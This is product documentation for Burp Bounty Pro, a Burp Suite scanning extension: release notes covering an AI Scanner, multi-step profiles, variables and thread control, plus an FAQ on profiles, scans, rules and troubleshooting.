AI-powered reconnaissance that analyzes HTTP requests and responses to identify attack surfaces automatically. The AI Scanner extracts parameters, detects reflection contexts programmatically, fingerprints technologies, and recommends the most relevant scan profiles from your library. When auto-scan is enabled, recommended profiles are automatically launched as active scans.

**Key capabilities:**

* Multi-provider support: OpenAI, Anthropic, Google Gemini, OpenRouter, and Local (Ollama)
* Programmatic response analysis with reflection context detection (HTML body, JavaScript, CSS, attributes, event handlers, URL attributes, headers)
* Comprehensive profile taxonomy with parameter name correlations for SQLi, XSS, RCE, LFI, SSTI, SSRF, XXE, CRLF, Open Redirect, and IDOR
* Technology fingerprinting (WordPress, Jira, Spring, Grafana, GraphQL, Drupal, Symfony, and more)
* Customizable system and user prompts via Edit Prompts dialog
* 12-field structured output per finding with confidence calibration and priority ranking
* Auto-scan: automatically launches matched active profiles from AI recommendations
* Pause, resume, and cancel per-entry controls

#### 🔎 Scan Scope (Per-Host Deduplication)

New `scanScope` field for active profiles. Per-URL (default, `scanScope=0`) runs on every URL; Per-Host (`scanScope=1`) runs once per `host:port`, with deduplication tracked via a thread-safe ConcurrentHashMap. Ideal for path discovery profiles, fixed-path CVE probes, and raw request profiles. 63 of 256 default profiles use per-host scope.

#### 📊 Redesigned Scanners Tab

The Scanner tab is now organized into dedicated sub-tabs:

* **Active** — Per-request active scan logging with request/response viewers
* **Passive** — Passive scan results with matched profile tracking
* **Smart** — Smart Scan rule matches and launched profile tracking
* **AI** — AI Scanner entries with status, findings, and full JSON response
* **Live** — Real-time passive scan activity

Each sub-tab has its own results table, entry controls, and request/response viewers.

#### ⚡ Context-Aware Scanner Settings

The URL Filter popup now adapts its settings based on the scan type:

* Active Scan: Threads, Active Concurrency, Requests/sec
* Smart Scan: Threads, Passive Concurrency, Active Concurrency, Requests/sec
* Passive Scan: Threads, Passive Concurrency
* AI Scanner: Threads, AI Analysis Concurrency, Active Concurrency, Requests/sec

***

### 🖥️ UI Improvements

* 🔵 **Active tab highlighting** — The Active sub-tab highlights in blue when Smart Scan or AI Scanner launches active scans, indicating new activity
* 🟢 **Live scan button styling** — Green background with white text when Live Passive Scan is active
* ⚠️ **API Key popup** — Warning dialog when launching AI Scanner without an API key configured, with direct navigation to Settings
* 🔧 **AI Scanner settings dialog** — Configure provider, API key, model, endpoint, prompts, enable/disable, and auto-scan toggle
* 📏 **Fixed-width fields** — API Key and Endpoint fields use fixed 700px width for consistent layout

***

### ⚡ Scanning Improvements

* 🔎 **Per-host scan deduplication** — Profiles with `scanScope=1` skip subsequent URLs on the same host:port
* 🤖 **AI-powered profile recommendation** — AI Scanner matches findings to available active profiles by name (case-insensitive)
* 📨 **Passive scanner entry tracking** — Per-request tracking of passive scan results with matched profile names
* 🧠 **Smart scanner entry tracking** — Per-request tracking of rule matches and launched profiles
* 💾 **Settings auto-save on unload** — AI Scanner settings are saved from current UI state when the extension unloads, even without clicking Save
* 🔄 **Prompt auto-update** — Outdated saved prompts (missing new schema fields) are automatically reset to defaults

***

## 🚀 v3.0.0

### 🌟 Major New Features

#### 🔗 Multi-Step Scanning

Profiles now support multiple steps, enabling complex attack chains and multi-stage vulnerability testing. Each step can define its own payloads, match rules, and detection logic. Includes cookie reuse across steps for authenticated workflows, per-step request/response viewing in scan results, and path discovery per step.

#### 🔧 Global Variables System

New user-managed variable system from the Variables tab. Define and customize variables like `{REDIRECT_DOMAIN}`, `{BC}`, `{RANDOM}`, `{CURRENT_URL}`, `{CURRENT_HOST}`, `{CURRENT_PORT}`, `{CURRENT_COOKIES}`, `{CURRENT_USER_AGENT}`, `{CURRENT_REFERER}`, and more. Custom variables are dynamically replaced in payloads, greps, and raw requests.

#### ⏱️ Time-Based Detection Engine

New time delay matching logic for detecting timing-based vulnerabilities (e.g., sleep-based SQL injection, blind command injection). Supports three comparison modes: "Between", "Greater than", and "Less than", with configurable thresholds. Fully integrated into multi-step scanning workflows.

#### 🔍 URL Filtering for All Scan Types

Filter URLs popup now appears before Active, Passive, and Smart scanning, giving full control over scope, domains, and file extensions before launching scans.

#### 🎯 Stop-on-First-Match Optimization

When a payload matches for a given profile and insertion point, remaining payloads for that combination are automatically skipped. Uses `AtomicBoolean.compareAndSet()` for thread-safe deduplication, reducing redundant issues from 6+ to 1-2 per insertion point.

#### ⚡ Per-Scan Scanner Settings

Thread pool size, concurrency, and requests per second are now configured **per scan** in the URL Filter popup. Each scan creates its own independent thread pool with the configured number of threads, allowing different scans to run with different performance settings simultaneously. Scanner settings have been removed from the global Options tab.

#### ⏸️ Pause & Resume with PausableThreadPoolExecutor

True thread-safe pause/resume using a custom `PausableThreadPoolExecutor` that uses `ReentrantLock` and `Condition` for zero-loss state management. Threads block at safe synchronization points during pause and resume exactly where they left off. Paused time is tracked and excluded from scan duration and timeout calculations.

#### 🏷️ Tag-Based Passive Scan Launching

Passive scans can now be launched from the right-click context menu with **tag-based filtering**. The Passive Scan submenu organizes profiles by type (Request/Response) and tag, with profile counts displayed next to each tag. This enables focused passive scanning — run only security header checks, or only secret detection profiles, instead of running all passive profiles.

#### 📊 Tags Column and Set New Tag for Passive Profiles

All three profile tables (Active, Passive Request, Passive Response) now share the same layout with a **Tags column** showing assigned tags. The right-click context menu on all tables includes **Enable**, **Disable**, and **Set New Tag** options. Selecting multiple profiles and using Set New Tag tags them all at once.

***

### 🖥️ New UI Features

* 🪟 **Non-modal Dialogs** — All profile, rule, and tag editors are now non-blocking. Edit profiles while interacting with Burp Suite.
* 📋 **Profile & Rule Duplication** — "Duplicate" button on all profile tabs and Rules with automatic naming.
* 🖱️ **Double-click to Edit** — Double-click any profile or rule row to open the editor.
* 🔴 **Payload & Grep Markers** — Highlighted in red for better visibility.
* 📐 **Improved Grep Table** — Increased height for better readability.
* 📊 **Consistent Profile Tables** — All three profile tables (Active, Passive Request, Passive Response) now have identical columns (Enabled, Profile Name, Tags, Author's Twitter) and context menus.

***

### ⚡ Scanning Efficiency Improvements

* ⏸️ **PausableThreadPoolExecutor** — Thread pool that supports pause/resume without terminating threads, with precise paused-time tracking.
* 🧵 **Per-scan thread pools** — Each scan creates its own independent thread pool with configurable threads, concurrency, and RPS.
* 📈 **Request rate limiting** — Configurable requests per second per scan.
* 🔽 **Early filtering pipeline** — URL extension, response code, and content-type checks before making HTTP requests.
* 🔄 **Duplicate avoidance** — Tracks scanned combinations to prevent re-scanning.
* 🛡️ **Redirect loop protection** — Maximum 30 redirects per request chain.
* ⏱️ **Scan timeout detection** — Configurable timeout (default 60 minutes) marks scans as Failed. Paused time excluded.
* 📥 **Queue-based task management** for efficient scheduling and idle detection.
* 🔢 **Atomic scan ID generation** for thread-safe concurrent scan management.
* 🚫 **Passive scan exclusion list** — Automatic filtering of static file extensions.
* ⚙️ **Grep matching optimization** — AND/OR logic with short-circuit evaluation.
* 🔒 **Max concurrent scans** with graceful 30-minute shutdown timeout.

***

### 🏷️ Tag System Improvements

* 📊 **Tags column** on all profile tables (Active, Passive Request, Passive Response)
* ✏️ **Set New Tag** right-click menu on all three profile tables
* 👁️ **Tag-based passive scan submenu** with profile counts per tag
* 📨📩 **Separate Request/Response tag submenus** for focused passive scanning
* 🔤 **Alphabetical tag sorting** with "All" always at the top
* ✅ **Duplicate "All" prevention** — The "All" tag is no longer duplicated in submenus

***

### 🔑 License & Configuration

* 🪪 **LicenseSpring Integration** — Professional license management.
* 💾 **Persistent Settings** — All configuration persisted across Burp Suite sessions.
* 📂 **Auto-load BurpBountyData** — Automatic profile loading on first launch.

***

### 📊 Dashboard

* 👀 **Dual-view Dashboard** — Per-request log with host, method, path, status, response time, rule/profile name, severity, and confidence. Summary view aggregates by domain.
* 📡 **Scanner Log** — Real-time scan progress with pause/resume/stop controls.
* 👁️ **Live Passive Scan toggle** — Enable/disable automatic passive scanning from the Dashboard.

***

### 🎨 UI Polish

* ⚡ Streamlined Options tab (scanner settings moved to per-scan popup)
* ℹ️ Updated About page
* 🔗 Improved multi-step configuration layout


# FAQ

## 🌐 General

### What is the difference between Burp Bounty (free) and Burp Bounty Pro?

Burp Bounty Pro includes:

* 🔗 Multi-step scanning profiles
* 🔧 Global variables system
* ⏱️ Time-based detection engine
* 🧠 Smart Scan with Rules
* ⚡ Per-scan configurable thread pools with pause/resume
* 🏷️ Tag-based passive scan launching
* 🎯 Stop-on-first-match optimization
* 🤖 AI Scanner with multi-provider support
* 🔎 Scan Scope (per-host deduplication)
* 📊 Redesigned Scanners tab with dedicated sub-tabs
* 📦 256 default profiles and 28 default rules
* 🪪 Commercial license and support

### Does Burp Bounty Pro work with Burp Suite Community Edition?

Burp Bounty Pro can be installed on Burp Suite Community Edition, but active scanning capabilities are limited since Community Edition has restricted scanning features. ⚠️ Burp Suite Professional is recommended for full functionality.

### Where are my profiles and settings stored?

💾 Profiles, rules, and settings are stored in Burp Suite's extension settings, which are saved per project. They persist across Burp Suite restarts and extension reloads.

***

## 📝 Profiles

### How do I create a new profile?

Go to **Burp Bounty Pro** > **Profiles** tab, select the appropriate category (Active, Passive Request, or Passive Response), and click **Add**. See [Creating Active Profiles](/profiles/creating-active-profile) or [Creating Passive Profiles](/profiles/creating-passive-profile) for step-by-step guides.

### Can I import/export profiles?

✅ Yes. Select profiles in the table and click **Export** to save as `.bb` JSON files. Click **Import** to load `.bb` files. This is the primary way to share profiles with team members.

### What is the difference between MatchType 1 and MatchType 2?

* **MatchType 1** (AND) ➡️ All grep patterns must match for the issue to be reported
* **MatchType 2** (OR) ➡️ At least one grep pattern must match

### How do I test for time-based vulnerabilities?

⏱️ Set `MatchType` to 5 and configure `TimeOut1` and `TimeOut2` with thresholds in milliseconds. The scanner measures response time and compares it against your thresholds. See [Match Types](/profiles/match-types).

### What does `NotResponse` do?

🔄 Setting `NotResponse: true` inverts the match logic — the issue is reported when the grep pattern is **NOT** found in the response. This is commonly used for detecting missing security headers.

### How do multi-step profiles work?

🔗 Multi-step profiles execute a sequence of scanning steps. Each step can have its own payloads, grep patterns, and insertion points. Cookies can be shared between steps using `reuseCookie: true`. See [Multi-Step Profiles](/profiles/multi-step-profiles).

### How do I tag passive profiles?

🏷️ All three profile tables (Active, Passive Request, Passive Response) support tagging. Select one or more profiles, right-click, and choose **Set New Tag**. Enter the tag name and it's added to all selected profiles. Tags appear in the Tags column and in the passive scan context menu.

### Do passive profiles have a Tags column like active profiles?

✅ Yes. All three profile tables now have the same columns: Enabled, Profile Name, Tags, and Author's Twitter. The right-click context menu also includes Enable, Disable, and Set New Tag on all three tables.

***

## 🔍 Scanning

### How do I configure threads and request rate for a scan?

⚡ Scanner settings (Threads, Concurrency, Requests per second) are configured **per scan** in the URL Filter popup that appears before each scan. This lets you run different scans with different performance settings simultaneously.

### Where did the thread settings in the Options tab go?

Thread pool size, concurrency, and requests per second have been moved from the global Options tab to the **per-scan URL Filter popup**. This allows each scan to have independent performance settings. Default values are 🧵 10 / 🔀 10 / 📈 10.

### Can I run multiple scans with different thread settings?

✅ Yes. Each scan creates its own independent thread pool. You can run one scan with 20 threads against a robust target and another with 2 threads against a rate-limited target, simultaneously.

### How does pause/resume work?

⏸️ Burp Bounty Pro uses a custom **PausableThreadPoolExecutor** that truly pauses threads without destroying them:

1. When you click **Pause All**, each thread blocks at a safe synchronization point using `Condition.await()`
2. ✅ No scan progress is lost — threads resume from exactly where they paused
3. When you click **Resume All**, `Condition.signalAll()` wakes all blocked threads
4. ⏱️ Paused time is tracked and excluded from scan duration and timeout calculations

### Why are my scans slow?

Common causes:

1. 📦 **Too many profiles enabled** — Disable profiles you don't need
2. 📍 **Too many insertion points** — Use only relevant insertion point types per profile
3. 🧵 **Thread count too low** — Increase threads in the per-scan popup (try 20-30)
4. 📈 **Low RPS setting** — Increase requests per second if the target can handle it
5. 🔄 **Following too many redirects** — Reduce `MaxRedir` values

### How does stop-on-first-match work?

🎯 When a payload matches for a given profile and insertion point, a shared flag is set. Other tasks for the same combination check this flag and skip execution. This prevents reporting 6+ duplicate issues per insertion point. See [Scan Control](/scanning/scan-control).

### Why do I see duplicate issues?

⚠️ Due to the parallel nature of scanning, 2 tasks may occasionally both pass the match check before one sets the flag. This is a benign race condition — the maximum duplication is 2 instead of N payloads.

### How do I use Burp Collaborator with profiles?

🌐 Use the `{BC}` variable in your payloads. Each occurrence generates a unique Burp Collaborator subdomain. The scanner polls Collaborator for interactions and reports issues when callbacks are received.

### What is Smart Scan?

🧠 Smart Scan uses Rules to automatically trigger active scanning when passive conditions are detected. For example: if a passive profile detects WordPress, a rule can automatically run all WordPress vulnerability profiles. See [Smart Scan](/scanning/smart-scan).

### How do I launch a passive scan for specific tags only?

🏷️ Right-click on one or more requests, select **Passive Scan**, then choose from the tag-based submenu:

* 🌐 **All** — Run all passive profiles
* 📨 **Passive Request** > **Tag Name** — Run only request profiles with that tag
* 📩 **Passive Response** > **Tag Name** — Run only response profiles with that tag

Each entry shows a count of matching profiles (e.g., "Security\_Headers (15)").

### What is Live Passive Scan?

👁️ The **Live Passive Scan** toggle in the Dashboard enables automatic passive scanning of all HTTP traffic flowing through Burp Suite. When enabled, every request and response is analyzed by enabled passive profiles in real-time. The "Scope Only" checkbox restricts this to in-scope targets only.

***

## 📋 Rules

### How do Rules work?

Rules follow an **IF-THEN** pattern:

* 🔍 **IF** one or more passive profiles match the traffic
* 🎯 **THEN** execute specific active profiles or all profiles with a tag

See [Rules Overview](/rules/overview).

### What is the difference between "All Matches" and "First Match" scope?

* 🔄 **All Matches** — Execute the active profiles every time the passive condition matches
* 1️⃣ **First Match** — Execute only the first time the condition matches (per host)

### Why are some default rules disabled?

⚠️ The four bulk scanning rules ("Scan all requests with...") are disabled by default because they trigger active profiles on **every** request, which can consume excessive resources. Enable them only when scanning small, specific targets.

### What settings are used for scans triggered by rules?

⚙️ When Smart Scan rules automatically trigger active scans (without a manual popup), default values of **10 threads**, **10 concurrency**, and **10 RPS** are used.

***

## 🤖 AI Scanner

### What is the AI Scanner?

🤖 The AI Scanner uses artificial intelligence to analyze HTTP requests and responses, automatically identifying potential attack surfaces and recommending the most relevant scan profiles. It can detect parameters vulnerable to SQLi, XSS, RCE, LFI, SSRF, and more — without needing to define passive rules for each case.

### Which AI providers are supported?

The AI Scanner supports **OpenAI**, **Anthropic (Claude)**, **Google Gemini**, **OpenRouter**, and **Local models via Ollama**. You can use any model available through these providers by changing the Model field in Settings.

### Do I need an API key?

✅ Yes. You need an API key from your chosen provider. If you try to launch an AI scan without one, a popup will guide you to the Settings page.

### How does auto-scan work?

When **Auto-scan after analysis** is enabled, the AI Scanner automatically matches its recommended profiles against your enabled active profiles (by name, case-insensitive) and launches them as an active scan against the original request.

### Can I customize the AI prompts?

✅ Yes. Click **Edit Prompts** in the AI Scanner settings to customize the system prompt (analysis rules, profile taxonomy, confidence calibration) and user prompt template (request data placeholders). The default prompts are comprehensive and work well out of the box.

### Why does the AI Scanner return "No interesting entry points"?

The AI model determines that no parameters in the request are worth testing. This can happen for:

* Requests with no user-controllable parameters
* Static resources (images, CSS, JS)
* API endpoints with only standard/non-injectable parameters

### What is the scan scope per-host feature?

🔎 Active profiles now have a **Scan Scope** setting. Per-URL (default) runs on every URL; Per-Host runs once per host:port, ideal for path discovery profiles and fixed-path CVE probes.

***

## 🔧 Variables

### How do I change the redirect domain?

Go to **Burp Bounty Pro** > **Variables** tab. Edit the `{REDIRECT_DOMAIN}` variable (default: `bountysecurity.ai`) to your preferred domain.

### Can I add custom variables?

✅ Yes. Go to the **Variables** tab, click **Add**, and define a name and value. Your variable is immediately available as `{YOUR_VARIABLE_NAME}` in all profiles. See [Global Variables](/variables/global-variables).

### What is {BC}?

🌐 `{BC}` is a special variable that generates a unique Burp Collaborator subdomain. Use it for out-of-band vulnerability detection (SSRF, blind XSS, blind RCE, etc.).

***

## 🔧 Troubleshooting

### Profiles are not loading on first launch

📂 Ensure the `BurpBountyData` directory is present alongside the extension JAR. The extension auto-loads profiles from this directory on first launch.

### Scan is marked as "Failed"

⏱️ This means the scan exceeded the configured timeout. Increase the timeout in **Options** or reduce the scope of the scan.

> 📝 **Note:** Paused time does not count toward the timeout. If a scan is paused for 30 minutes, those minutes are not counted.

### No issues are being found

Check that:

1. ✅ Profiles are **enabled** in the Profiles tab
2. 📍 The profile's **insertion point types** match the target request structure
3. 🔍 The profile's **grep patterns** are correct for the expected response
4. 🔽 **Response filters** (content-type, status code, URL extension) are not excluding your target responses
5. 🔄 **Redirect settings** are appropriate — some vulnerabilities only appear after following redirects

### Extension is consuming too much memory

1. 📦 Reduce the number of enabled profiles
2. 🧵 Lower the thread count in the per-scan popup
3. ❌ Disable bulk scanning rules
4. 🏷️ Use Tags and Rules for targeted scanning instead of running all profiles
5. 🔢 Reduce Max Concurrent Scans in Options

### Passive scan context menu doesn't show tags

🏷️ Tags only appear in the submenu for enabled profiles. If you've disabled all profiles with a certain tag, that tag won't appear. Enable the relevant profiles and the tags will appear with their counts.


